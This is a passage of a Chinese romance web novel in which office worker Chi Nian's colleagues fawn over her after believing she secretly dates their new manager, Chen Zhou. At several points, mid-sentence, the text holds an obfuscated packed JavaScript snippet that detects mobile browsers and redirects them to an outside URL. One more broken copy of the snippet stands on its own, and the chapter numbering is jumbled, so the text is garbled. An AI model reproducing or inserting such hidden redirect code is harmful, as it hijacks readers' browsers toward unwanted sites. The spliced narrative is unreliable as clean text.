“怎么在这坐着,韩主管找你呢。” 欢姐东西没送出去,正闹心呢,听到韩主管,更是没有好脸色,“找我干吗,我又不是服务员。” “好像是你的车停歪了,挡住别人出去了,保安挨个屋找车主呢。”说完,娇娇冲迟念眨了眨眼。 欢姐是开车来的,本来对自己的停车技术不是很有信心,当下信了娇娇的话,火急火燎地出去了。 她前脚刚走,娇娇顺势坐下,为了距离近点,还把椅子往前拉了拉。 迟念一脸戒备。 和欢姐比,娇娇不那么容易相处。 她年轻,漂亮,家里是本市的,有点小钱。虽然业务能力麻麻的,但靠姣好的外貌和入职两年的资历,平时数她支使迟念支使得最欢。 带早餐也是她先提起的,迟念风雨无阻帮她买,然后送到办公桌上,可是她呢,给钱的时候竟然抹零。 辛辛苦苦一个月,最后一算还倒搭二十块。 迟念想到这件事就心里就不舒服。 娇娇好似和她有心灵感应,从包里拿出一张百元钞票,双手送到迟念衣兜里。怕她不要,故意大声说:“谢谢你一直帮我带早餐,辛苦了,请你喝奶茶!” 迟念感觉到众人视线,干笑一声,“啊,那行,剩的钱还能买一周。” 娇娇“嘶”了一声,故作埋怨,“说什么呐,帮我带一个多月已经够不好意思的了,以后不用了。”说完,对暗号似的捏了捏她的手,“下周末别忘了带男朋友去音乐节。” 迟念:“其实我男朋友…” 话说到一半,肩膀就被拍了一下。迟念回头,看到韩主管放大的脸,吓了一跳,急忙规规矩矩站起来。 韩主管见她这样,爽朗大笑,没有端着上班时的架子,亲切得像她远在老家的二大爷,“站起来干什么,坐!” 迟念神色犹疑地坐下,现在好了,左边娇娇,右边韩主管,去门口停车的欢姐也回来了,直奔这边来。 她一个头两个大。 桌面摆满上等牛肉,炭火红着,服务员熟练地把菜品摆在烤盘上,空气翻涌着热流。 韩主管新开一瓶啤酒,把迟念的杯子倒满。 他谨小慎微,“小迟,昨晚你发的朋友圈…” 迟念脱口而出:“我已经删了!” 欢姐刚好赶到,第一件事就是把娇娇推走,取而代之坐下,贴心地说:“我们知道你不是张扬的性格,所以都没点赞。” 韩主管用纸巾擦着汗,附和道:“对对对,小陈总也是这样低调又优秀,这样一看,你们还真般配。” 欢姐忍不住回忆往事,“哎呀,当年小陈总隐瞒身份从基层干起,只用了两年的时间就升到管理层,后来出国深造,回来更是脱胎换骨…” 韩主管笑呵呵地听着,不忘用公筷把烤好的肉夹到迟念碗里,熟练地接过话茬,“小迟能和小陈总在一起,说明她身上一定有过人之处。” “那是当然,我看小迟的简历时就觉得她不一般。” “可不,要不然当初十几个实习生,我怎么就留下她了呢。” …… 左边一句,右边一句,简直像串好的相声贯口。眼下就算迟念再傻也听懂了,他们这是在拍马屁。 源头在于昨晚发的朋友圈,也是没想到,特意选了个IP远的,结果捅到马蜂窝,那么一个盘靓条顺的大帅哥,怎么就成上司了! 离谱,离谱! 她硬着头皮喝了一口酒,这下笑不出来了,花二百块钱巨款买了一堆照片,结果是把自己架在火上烤。 如果坦白实情,那眼前的热闹和亲切的同事将不存在,如果继续隐瞒,那小陈总上任了,大家一定会发现其实他们不认识。 处境回到从前不说,还会被打个虚荣撒谎的标签。 啊! 结果都是丢工作。 她不想回老家。救命! 酒能消愁,迟念一口气喝了大半杯。 旁边的韩主管和欢姐见状,赶紧端起酒杯一口闷。空杯并排,很快又续满。 迟念的饮酒量已经到达警戒线,膀胱亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565648|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起红灯,她双手撑桌站起来,“我去一下洗手间。” 欢姐赶紧扶着她,“我陪你去。” “不用不用!”她胡乱挥舞胳膊,把欢姐推走之后,摇摇晃晃绕过桌子,经过之处,同事们都主动起身搀扶,接力一样把她送到门口。 迟念推开包房门,走廊有风,吹在脸上凉凉的,她随手抹了一下,发现是自己在流眼泪。 倏地停住脚步,她愣愣地看着指尖残留的水渍,不敢相信似的,慢慢转身,站在消防栓的镜子前。 为什么会哭呢? 难道因为毕业之后进入社会,经历的都是坎坷,那些从来没体会过的温暖在一天之中井喷式地铺满身,受宠若惊了? 由奢入俭难,她再也不想回到从前了。 酒不仅消愁,还能壮怂人胆!如果一个谎言需要靠更多的谎言去遮掩,只要能留在这里,她做什么都可以。 迟念坐在位置上,端起欢姐刚倒满的酒杯,一饮而尽。 旁边的两位要跟,她忙按下。 窗外春寒料峭,包房里气氛却火热,同事们喝酒吃肉划拳,还有两个在研究KTV设施,看样子是准备高歌一曲。 迟念轻咳一声,故作高深,“这件事有多少人知道?” 韩主管和欢姐对了下眼神,欢姐收到指令,小声说:“除了我俩,还有娇娇,珍珠,部门里的其他人应该半知半解不确定。” 迟念两颊泛红,眼底却透着忧愁,“这件事我不想让更多的人知道。”说完,似是觉得不够严谨,着重强调,“就算知道,也要装作不知道!” 韩主管猛点头,“了解了解,你们都很低调。” 欢姐在旁边负责倒酒,见酒瓶空了,冲旁边的娇娇使了个眼色,不一会儿,服务员就搬来一箱。 她见迟念醉意明显,倒完酒之后,凑到她耳边低语:“小迟啊,那个…小陈总有没有和你透露点内幕消息?” 迟念本就喝醉,听到这句话一头雾水,“啊?” “众所周知,小陈总工作严苛,喜欢调岗,也喜欢裁员。”欢姐搓着手,有点难说出口,“你们平时在一起聊天什么的,你一定和他说了咱们部门的情况吧。” 迟念眼神迷离,“说了一点儿。” 韩主管轻咳一声,忙拿纸巾擦汗,“那…你和小陈总有没有提起过我?” 迟念慢悠悠把头转过去,看到韩主管那张猥琐的脸,微笑着,慢声细语:“你?当然说过啊,我说最多的就是你了,尤其你下班之后还给我发那些…” 话刚说到一半却被牛肉堵住,韩主管拿筷子的手有些抖,他的动作就没这么快过,万幸的是,把危机扼杀在了萌芽中。 他尴尬地笑了笑,拉了一下迟念的袖口,求饶似的冲她挤挤眼,“小迟,那什么,咱俩去外面说。” 迟念酒劲上头,借着这个机会把过去的委屈全吐出来,“有什么事不能当着大家的面说啊,韩主管你怕什么,男人敢作敢当,你挺大的岁数不要…” 欢姐见事情往跑偏的方向发展,赶紧帮忙把人扶起来,和韩主管一边一个架起她往门外走。 迟念醉到口齿不清,一路只能发出含糊的音调,她被两人扶到走廊避人处,晃晃悠悠站不直,欢姐忙去找服务员要椅子。 迟念靠在墙角,模糊中看到韩主管的脸。 他的脸上堆起三层卑微的褶,“小迟啊,以前我是发过一些让你觉得不舒服的话,我现在郑重道歉。”说完,后退一步,深深鞠了一躬。 迟念呆呆地看着他。 三秒之后,韩主管直起身,脸上看不出一丝猥琐和油腻,只有深深的歉疚和发誓要改过自新的坚定。 他认真地说:“小迟,以后的日子还长,你就看叔表现吧!” 5. 第五章 若说繁华程度,林江这种二线城市自然不能和滨海比。 从飞机落地的那一刻,花尧就被一波一波的乡土气息冲击着,虽说自己在这长大的吧…是有乡愁,但不多。 市中心的高级公寓,电梯直上十五楼,他拉着艳粉色行李箱,熟门熟路按响门铃,静等那位模范继承人给他开门。 门铃响的时候,陈昼正在洗澡。密封玻璃门加水流声双重隔音,等他洗完出来,才听到手机和门铃同时在响。 室内温暖,他头发还湿着,水滴答滴答落在肩膀,顺着肌肉纹理流到腹肌,最后渗进围在腰间的白毛巾里。 他甩了甩头,先去开门。 花尧倚在门口,摆着一张巨臭的脸,要不是听到里面的电话铃声,他真的会搭最快一班飞机一走了之。 陈昼打开门,毫无意外地看到拳头进来,他身子一歪,熟练避开。 花尧像一条气鼓的河豚,出气未果,在门口等了二十分钟的怨气顺着头发丝往外冒,他叉着腰进屋,嘴上喋喋不休。 “我看你真的有必要挂耳鼻喉科检查一下,门铃电话铃一起叫唤都听不到?还是你这屋藏着什么不敢见人的东西,有野女人吧?” 花尧说话时,完全没有林江口音,倒是有种湾区娱乐节目主持人的夸张调调,他说完之后翻了个巨大的白眼,直奔南边卧室。 卧室不大,灰白简约风,女人没看到,行李倒是摆了满地。 陈昼慢半步进来,手上多了一条毛巾,他边擦头发边说:“来得正好,你不是擅长整理吗,帮我把衣服分下类。” 花尧一脸堂皇,他重重坐在床上,“你可真好意思,我今天下午刚回来,在老宅挨了一圈的臭骂,想着来投奔你,结果你丫拿我当保姆。” 陈昼把毛巾搭在肩膀上,抬眼打量他,三个月没见,花尧还是老样子。 他相貌阴柔,身形瘦长,从里到外散发着病弱贵公子的气质。若是规规矩矩保持这样,也会风平浪静,可他这次回来偏偏把头发染成绿色。 本就不务正业,再加上奇装异服,长辈当然看不顺眼。 他提议:“附近有家发型工作室还不错,去不去?” 花尧瞪眼,两只手一齐上阵护住他的绿毛,“陈昼,你怎么上班以后越来越这么古板,以后不会也搞商业联姻那一套吧?” 陈昼冷着脸把毛巾扔他头上,“闭嘴!好久不见,等会儿去酒吧喝点儿。” 黑色奔驰开出地下停车场时,刚好八点。花尧窝在副驾驶摆弄照相机,在车子驶出路口时,路灯的光照进来,他当机立断架好胳膊。 陈昼熟练地躲避,在他举起相机时,把头别向窗外。 花尧看着糊掉的成片,顿时泄气,“没劲。” “你这么喜欢照,就好好谈个女朋友,女孩子都喜欢拍照,一定会配合你,不会像我这样扫兴。” “你还知道你扫兴啊。” 陈昼轻呵一声,懒得辩解。 转动方向盘,车子拐到主路,他在林江生活了十几年,只有两年没回,这里却翻天覆地大变样。 路越来越宽,街边却愈发萧条,这个时间理应是高峰期末尾,车却极稀少,陈昼也摸不太清自己是不是走错了。 花尧在旁边吐槽:“你就不能开个导航吗?” 他单手按着方向盘,另一只手解开手机,里面没有导航软件,得现下载,右上角显示信号不稳,有些麻烦。 他说:“你手机里有导航软件吗?” 旁边的花尧却看着窗外,陈昼又说了一遍他也充耳不闻,待他把车速减慢,余光却瞥到有残影闪过。 花尧忽然从副驾驶上跳起来,龇牙咧嘴地指着前面的骑电动车拐弯的古装红衣女人,“我操!咱俩好像撞鬼了!” 车倏地急刹。 一阵刺耳的摩擦声,街边的人不由自主去看声音的来源,欢姐扶着醉酒的迟念,仔细端详开车男人的侧影,心跳慢了半拍。 她手肘捅了捅旁边的韩主管,“我怎么看前面车里的人像小陈总呢。” 韩主管下意识想反驳,可看到旁边架着的迟念,也不无可能啊,热恋小情侣,女友喝多了男朋友确实应该来接。 仔细看了一眼,还真像。 他正了正领口,又掸了掸衬衫,在心里打好腹稿,刚迈一步,车却忽然启动,直接开走了。 欸?这… 同时,迟念的手机响了,她从醉酒半昏迷状态挣扎出来,掏出手机,大剌剌地露出屏幕上的备注——亲爱的。 欢姐和韩主管同时屏息,并支起耳朵。 迟念半闭着眼接起,“你来接我了啊…别,别来门口,你低调点吧,就停在旁边的路口,我马上过去。” 她挂了电话,冲欢姐和韩主管摆手,“今晚谢谢了,我先走了。” 欢姐看她站都站不稳,有些不放心地扶着她,“车停在路口是吧,我扶你过去。” 韩主管和迟念异口同声:“不用!” 欢姐吓了一跳,赶紧收回手,迟念没有依靠,软软地栽歪了两下,好在最后站稳了。 喝了不知道几瓶,女孩眼神迷蒙,脸颊泛红,说的话也是前言不搭后语,“低调哈,低调!一定要假装不知道。” 欢姐连声应下,待迟念走远了,韩主管冷脸责备,“你要是送,这不上赶着告诉小陈总是你灌醉的吗。” “是她自己要喝的,跟我有什么关系?” “你看她醉成这样还能有后半段的记忆吗,前期她清醒的时候可都是你灌的。” 欢姐翻了个白眼,老东西欺软怕硬,迟念走了他倒来劲了。她哼了一声,抱着胳膊回店里,喊娇娇穿衣服回家。 从饭店门口到路口大约50米的距离,就这么短短一段路,迟念走了快五分钟。 她从树影里走出来,看到坐在电动车上的红衣女人,一眼就认出是何伶。 她嘿嘿一笑,顶着醉脸花痴,“今天戏服还挺好看的嘛。” 何伶拽着裙摆过去迎,不忘冲她大吼:“迟念,喝这么多你要死啊!” 接到迟念的电话时,何伶刚结束一场打戏,她演的反派女二骗男主成亲,结果在礼成之前男主幡然醒悟自己爱的是女主。 她一身红袍,拿起随身的宝剑抵住男主喉咙,流着泪说:“想走可以,必须打败我。” 短剧的剧情短平快,主打一个爽字,男主没有一秒挣扎,干脆利落地捅了她一刀,然后飞去找女主了。 “卡”声刚喊,男主的助理小吴就跑来告诉她手机响了。 能给她打电话的,只有迟念了。 结果接了个惊天大雷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565649|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 剧里的男主跑去找女主是假,她穿着戏服,带着一身道具血来接迟念是真,一路心急如焚,生怕她被猥琐主管占便宜。 她气哼哼地去扶醉鬼,“你是傻的吗,别人灌酒你就喝,你不会说你吃头孢了,或者酒精过敏也行啊。” 迟念语言系统混乱,不管听到什么话只会憨憨一笑,何伶看她这样更生气了,这到底是喝了多少啊。 电动车是管灯光师借的,模样有些寒酸。 何伶在电话里听出迟念喝醉了,可是没想到醉成这样,软绵绵地坐在后座肯定不安全,必须固定好。 她想了想,把戏服的大红腰带拽下来,先把迟念安置好,自己再坐上去,腰带缠了两圈,系上死扣刚刚好。 车里温度适宜,手机架在方向盘边,导航里的女声轻柔地指路:请沿右侧车道行驶,前方两百米右拐。 花尧翻看手机里的皇历,纳闷地说:“今天适宜出门啊,怎么会撞鬼呢。” 陈昼语气平淡,“你见过鬼骑电动车么。” “与时俱进你懂不懂,说明上面的亲人给烧了电动车,下面的鬼不仅能骑,半夜还能带鬼亲友出来兜风呢。” 同一时间,何伶骑着电动车急速向前,风吹起她的黑色长发和大红喜袍,迟念趴在她的背上,没长骨头似的随车摇晃。 大半夜的,任谁看到这幅场景都会吓一跳。 花尧随意一瞥,登时瞳孔地震。 “我操!今天我这嘴是开了光吗?” 陈昼转头看了一眼,随手打开车窗,冷风直扑面门灌进来,花尧大惊,“疯啦,你想冻死我啊!” 陈昼视线越过他的脸,看向窗外企图超过去的电动车。 三月的林江温度很低,偶尔还会飘雪,就算这几天温度上升了,电动车也不是舒适的交通工具。 “现在外面不到十度,她们看起来穿得不多,电动车能放进后备箱,喊她们上车吧,我可以送到家。” 花尧斜眼看他,故意夹着嗓子说:“小陈总还是这么面冷心热~” “快喊。” 花尧拢紧大衣领口,双手呈喇叭状,对着窗外大喊:“美女~外面太冷了,快来哥哥的车里坐。” 陈昼眉头微皱,“你好好说话。”他觉得距离有点远,转动方向盘慢慢靠近。 风声太大,何伶只隐约听到杂乱的说话声,实在太冷了,她没有心情管是什么东西在吼叫,一心只想回家。 余光出现一辆黑色SUV,距离慢慢靠近,她转头,看到车窗里伸出一个鸡毛掸子,正冲她喊话。 “美女~上车,哥哥送你们回家。” 这是哪来的流氓龟,竟然还调戏到她头上了,何伶狠狠瞪了一眼,扭动车把加速。 黑色SUV竟然也提速,绿毛还趴着车窗盛情邀约,一看就没安好心,欠揍的样儿,早知道把道具剑带来了。 前方一路平坦,何伶确定迟念坐得很稳,她转头看绿毛,大声回了一个字:“滚!”然后迅速腾出一只手竖起中指。 花尧的笑僵在脸上。 陈昼见电动车速度极快地越过车身,有些意外,“她们不上车?” 花尧身子缩回来,拿起相机,远远拍了一张电动车背影。 过了很久,才咂了咂嘴,“人鬼殊途,不载也罢。” 6. 第六章 这是迟念喝得最多的一次,到家以后,她一趟一趟跑洗手间,折腾到后半夜两点多才睡。 万幸得是,第二天周末。 只是苦了何伶,她只睡了两个小时闹铃就响了。 拍剧没有休息日,外面天还没亮透,她就痛苦地爬起来,边穿衣服边磨牙,“死丫头,等我收工回来再收拾你。” 迟念睡到下午两点才睁眼。 头痛欲裂,胃里绞痛,她难受得直哼哼,身体提不起力气,却不影响大脑运转。 昨晚的碎片一块一块在脑海里拼凑成行,她想起同事们的态度转变,韩主管的鞠躬道歉,还有自己酒劲上头端起的架子。 啊! 不堪回首! 心情糟糕,恶心劲又上来了,她扶着墙去洗手间,来来回回折腾好几趟,胃里消停了,天也黑了。 休息日就这样过去了。 她坐在客厅地毯上,头搭在沙发边缘,单薄的身形隐在暗色中,想到将要面对的事,恨不得活埋了自己。 何伶回来时就看到这样一副颓废场景,她清了清嗓子,冲沙发边的黑影扬了扬手里的打包盒,“我买了小馄饨,吃吗?” 几秒之后,黑暗处传来微弱的声音,“放醋了吗?” “放了半瓶。” “……” 何伶拎着馄饨进屋,随手把客厅的灯打开,空气弥漫着淡淡的酒后气息,她把馄饨放在小桌上,开窗通风。 馄饨是她们经常去吃的路边摊,清淡,鲜美,适合宿醉者服用。迟念挪到小桌边,看到只有一盒,哑声问:“你不吃啊?” “我在剧组吃的盒饭。”何伶走过来坐下。 她目不转睛地看着迟念打开包装袋,掀开盒盖,拿起勺子,舀了一勺汤,皱眉喝进去,吧唧吧唧嘴。 “好吃吧?”她问。 暖汤下肚,迟念受尽磨难的胃终于得到安慰,她竖起大拇指,“超级好吃!” 何伶笑里藏刀,“那就多吃点,吃完我有事要问你。” 迟念感觉到她语气里的阴森气息,赶紧举白旗投降,“我这就坦白!” 一份小馄饨,吃了快半个小时,迟念吃下最后一颗,事情的前因后果也说完了,她捧着餐盒喝汤,模样可怜巴巴。 “阿伶,我是不是完蛋了。” 何伶托着下巴,“冷静,我先捋一下。” “意思是…你特意选了个远方IP的照片发到朋友圈里,同事们浏览之后发现他是即将上任的经理,昨晚的聚餐只为了拍你马屁?” 迟念点头,“还给我送礼了。”她指了指厨房台面上的暖白色保温杯,“那个是大牌联名款,专卖店三百多呢,还有下周末的音乐节门票,不要都不行。” 何伶一脸促狭地看着她,“爽死了吧。” “哪有,是慌死了才对。” “哎呀,这有什么好慌的。”何伶神色轻松,在她看来,这是已经开好头的剧本,接下来顺着设定演就是了。 演戏是她的专业领域,见好友惆怅,立刻化身指导课老师,“在外人看来,你和即将上任的经理对外是热恋关系,大家都知道你们想低调处理,所以暂时不会捅漏。” 宿醉后的脑袋不太好使,迟念听她说完,想了好一会儿,“对,我昨晚也是怕他们捅漏,所以再三叮嘱一定要假装不知道。” 何伶赞许地打了个响指,“你做得很对。” 现在同事这边不用担心,主要是这个上司,从照片上知道他了的长相,具体的个性,家境,是否有配偶,这些都是未知数。 首先应该做的是,快速了解他。 何伶掏出手机,打开搜索引擎,“他叫什么名字?” “不知道。” “…不知,啊?叫什么名你都不知道?!” 迟念心虚,眼神闪躲,“大家都叫他小陈总。” 何伶脑瓜子嗡嗡的,深呼吸,忽然灵光一闪,“手机,卖你照片那个人,花小妖。” 哦对,怎么把他忘了。 迟念解开手机,点进聊天页面,慎重地敲下问句——菩萨您好,可以告诉我照片的主人叫什么名字吗? 消息发送,两人双手合十,虔诚祈祷。 同一时间,市中心的地下清吧,放在黑曜石台面上的手机屏幕一闪。陈昼端着酒杯,视线扫过之后,抬头看在里面调酒的花尧。 他眼神探究,“你信佛了?” 花尧摆了个高难度姿势把蓝色液体倒进高酒杯里,一头绿毛因为静电飘扬起舞,像一颗巨大的海胆。 他把酒推到陈昼手边,“我信我自己。” 陈昼很少玩手机,偶尔看看财经类新文和股票,虽然才二十八岁,却和同龄的花尧隔了三个代沟,尤其在他说一些网络流行语的时候。 看来是自己误会了。 放下杯子,指了指他手机,“有人找你。” 花尧挑了挑眉,拿起手机看了一眼,扑哧一声笑了。他像没长骨头似的,懒散地倚在吧台转弯处,快速敲字。 公寓里,手机振动。 两颗脑袋同时凑过去,屏幕显示收到新消息,只有短短两个字:陈昼。 * 晚上八点,酒吧的人不多,靠窗的窄台上坐着一个戴帽子的驻唱歌手,不过这会儿没唱,正沉浸式弹吉他。 陈昼坐在圆椅上,单腿踩地,身形微微侧过去,对上旁边喝酒的花尧。 他说:“你哪天走?” 花尧喝了一口酒,不知是醉了还是惆怅,声音有些低落,“都盼着我走呢。” 倒也不是,陈昼知道他早晚会走,毕竟在滨海有志同道合的朋友,还合伙开了个摄影工作室,至少在他家长辈眼里,不算游手好闲了。 花尧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565650|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本姓石,家族主营建材产业,他这一代几乎都是男丁,从小就被长辈铺好未来的路,偏偏花尧不肯走。 家里以石姓为荣,教育孩子也大男子式为主,温情少,棍棒多,触到了他的逆反心里,不仅自作主张改了名,还硬要做家人厌恶的艺术行业。 一晃二十八年过去,他还是石家人提起就大骂的逆子,偏偏自己也不争气,没有挣来让人高看的荣誉。 他把杯子里的酒喝光。 “工作室黄了,赔了个底儿掉,我回不去滨海了。” 陈昼有些意外,“黄了?是运营出问题了还是广告没铺开?” 花尧一脸嫌弃,“你纯商人。” 事实是和这些都没关系,单纯是他那个合伙人品行低劣。 背着他偷偷接私活也就算了,还和客人动手动脚,转天就被挂网上,恶评上万,工作室当晚就关了门。 作为大股东,花尧是纯倒霉,算完盈亏之后找合伙人算账,结果发现那小子早早收拾东西跑回老家了。 他只能认栽。 这些糟心事经历一次就够了,不想再提,他打了个响指,又要了一杯酒。 陈昼见他这样,也不再追问,斟酌片刻,提议:“这样吧,我投资,你在林江开一家工作室。盈利的话三七分,我三,你七。” 花尧眼神复杂地看着他,“陈昼,我要是女的一定要嫁给你。” 陈昼无语,“闭嘴,我看不上你。” 他们是二十几年的好友,花尧知道,只要自己开口,陈昼一定会帮他,也许就是有了这份仰仗,才导致这么多年过去,他毫无长进。 经过这次低谷,他想明白了,独立这种事,不管到什么时候都得靠自己。 “有个在剧组干摄像的师哥联系我,说最近急缺人手,问我有没有时间,有的话就过去帮帮忙。” 陈昼转动酒杯,“你答应了?” 花尧端着肩膀,说话又恢复了平时的调调,“当然得答应啊,像我这种全能型人才,闲下来一天都是行业的损失。” 他一直都是懒散的性子,这次回来却一反常态,和家里闹掰不说,明明不喜欢这里,却硬要留下。 分开前,花尧拍了拍他肩膀,半开玩笑地说:“家里断了我的卡,你不介意我偶尔上门打秋风吧。” 陈昼哼了一声,面色虽冷,语气却带着多年老友的熟稔,“介意,你什么时候闯出名堂了再来见我。” 花尧没有说话,身子一矮钻进出租车,只留下一个潇洒摆手的背影。 陈昼目送车尾消失在街角。 夜晚温度低,他双手插进大衣兜,走在通往公寓的人行路上。 深吸一口气,空气冰凉潮湿,是小时候的味道。 市中心,街道繁华热闹,他仰起头,看着街边居民楼被热气模糊了的窗户。 ——好久不见。 7. 第一章 迟念刷手机刷到脑僵,旁边的何伶更是烦躁地把手机一扔,“这个陈昼怎么一点消息都搜不到,各大社交平台更是找不到这个人。” 迟念认命,“算了,我随机应变吧。” 何伶瞪大眼睛看她,“你有这种能力?” “…没有。” “你有和异性亲密接触的经历和超过三个月的恋爱经验?” “…没有。” “所以啊,”何伶锤着腰站起来,“我想到一个好办法!” 迟念洗耳恭听。 “不用费劲了解他是什么人了,再帅的男人当了上司也不会是什么好东西。你就当自己在拍剧,同事的眼睛就是摄像机,摄像机对准你,你就演,不用说台词,只要肢体动作给观众想象空间就行。” 何伶说完,打了鸡血似的打开摄像机,架好,然后亲身示范。 她慢慢靠近,全程星星眼盯着迟念的脸,用很轻的声音说:“你知不知道,你现在的样子像一只晕车的狗。” 迟念:“?” 何伶是真的热爱表演,就算说这么莫名其妙的话,表情和语速都控制的非常好,不知道的还以为她在深情告白。 摄像机录下了这一段。 何伶把录像投到电视上,逐祯讲解:“异性男女站在一起,谈话内容是不重要的,你只需要在摄像头对准时,做一些小动作。” 迟念眼神一亮,暂停视频,指着她在背后绞着的手指,“你说的是这种?” “对。”何伶露出孺子可教的眼神,“这样的话事情就变得简单了,你只需要在人多的时候和他接触。”她着重强调,“务必做到在众人面前演出和他有关系但是害怕别人看出来你们的关系。” 迟念想了想,“懂了,就是此地无银三百两。” “Bingo!” “可是…他会不会觉得我别有用心啊,用这种拙劣的方式引起他的注意,万一觉得我在勾引他怎么办?” 何伶斜眼看她,“你要真有那种本事还用我在这费劲教?我都怕你演技不好看起来像脑子缺根弦呢。” 迟念:“……” 铁友果然懒得粉饰,说的话真实又扎心。 她叹了口气,先帝创业未半而中道崩殂,上司本人还没见到呢,光是想想要做的事就坚持不下去了。 何伶挨着她坐下,直言之后,柔声安慰,“船到桥头自然直,就算真搞砸了也没关系,不是还有我呢嘛。” 她搂住迟念的肩膀,视线落在窗外灯火通明的大厦上,眼神坚定,“以后我当大明星,你给我当助理,咱们都不回老家!” 迟念把头靠在她肩膀上,虽然这种豪言壮语已经听过无数次,虽然她们还是这个城市的最底层,赚的钱只够租不到五十平的一居室,但是! 突然充满希望怎么回事! 她握紧拳头,“好!我会努力!” * 早上八点,兵分两路。 何伶猛吸一口豆浆,手指比六晃了晃,叮嘱她:“有突发情况一定要马上联系我,我帮你想办法。” 迟念重重点头。 工作日的地铁能挤死人,她站在门口的角落,对着反光玻璃练表情。 一路沉浸,小跑进办公楼。电梯门开,她刚走出来,就看到娇娇着拎着两个精致的食品袋站在门口。 她看了看迟念身后,虽有一瞬犹疑,却也很快迎上来,“迟念早上好,小陈总没和你一起来呀?” 考验竟然来得这么快,迟念愣了一下,小声说:“啊,是…毕竟在公司嘛,最好还是保持点距离。” 娇娇意识到自己多嘴,赶紧看了看四周,好在没人经过,她抚了抚胸口,把袋子递给迟念,“我家楼下开了一间汤包店,味道不错,我特意打包了两份。” 迟念赶紧摆手拒绝,“不用不用,我已经吃过了,好意心领了,以后千万不要给我带了。” 娇娇故作不满,把两个食品袋强硬地塞进她怀里,模样虽跋扈,但明显芯是软的,“你这是嫌弃呀?” “我不是那个意思!” “不是那个意思就收下,我又不要你钱。” 迟念头大,她怕的就是这个。吃人的嘴短,拿人的手短,这样上赶着献殷勤,万一日后有什么离谱的要求怎么办? 她可是赝品啊! 迟念心事重重,斟酌着说:“今天的我就收了,以后真的不要这样了,我和…真的已经吃过了。” 叮~ 电梯门开。 没看到人,先听到韩主管的声音。 迟念入职三个月,就没听过韩主管说话这么夹,甚至只听声音就能想象到他此刻点头哈腰的狗腿样子。 现实证明,她的猜想是对的。 韩主管一脸谄媚,微微躬身站在电梯口。 作为职场老油条,新领导在侧,自然不能先走,虚拦着着电梯门,做出“请”的姿势。 迟念看到电梯里迈出一条长腿,心里一紧,下意识拉着娇娇的手,向后退了两步。 男人个子很高,西装外套搭在小臂,上身穿着白衬衫,衣摆扎进西裤还略有松散,和肚子鼓包的韩主管形成鲜明对比。 他戴着无框眼镜,习惯性扶了一下,转头看韩主管,菱角分明的脸因为心情不好更显严厉。 “十分钟后开会,迟到的扣这个月全勤。” 男人步伐极快,经过迟念身边时带起一阵风,她觉得这风阴鸷刺骨带着寒意,好不容易积攒的信心全给冲没了。 娇娇僵硬地站在旁边,待男人走进办公室之后,狠捏迟念的胳膊肉,“我的天!好吓人,他私下也是这副冰山脸啊?” 迟念欲哭无泪,她也想问啊,这张脸好陌生,和照片里根本不是一个人。 因为全程接触的生活照,所以先入为主,觉得小陈总是个阳光开朗大男孩,结果…亲眼见了之后,迟念觉得自己是在玩火。 娇娇见她沉默,以为自己说错话,赶紧转移话题,“小陈总说十分钟之后开会,欢姐她们还没来呢,你快拿早餐进去拖延一下,我去打电话催她们快点!” 啊? 迟念脸色苍白的指着自己的脸,“我去办公室?我…” 单薄的抗议没人听到,娇娇跑去楼梯口打电话,韩主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565651|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管头秃地催叶珍珠打印宣传计划和部门职务分配。 迟念拿着精装汤包,抗拒地往前挪。 暴风雨前,所有人都在忙碌,她却清晰地感觉到从各个方向投射来的眼神,好像在看小陈总的专属灭火器。 她站在经理办公室门口。 这间屋子,自她入职以来一直空置,平时百叶窗拉到底,不知道里面什么样。 现在,百叶窗拉起,里面的办公桌,书架,会客椅一览无余,她看着一尘不染的巨大玻璃,欲哭无泪。 这不就是屏幕么,身后的摄像机已经架起,就差她进去演了。 迟念攥紧拳头,快速在脑海里排演了一遍何伶教她的技巧,抖着手敲响棕榈色的门。 脊背灼热,她憋着一口气不敢松,几秒钟后,里面传出冷淡的一声“进。” 考验正式开始。 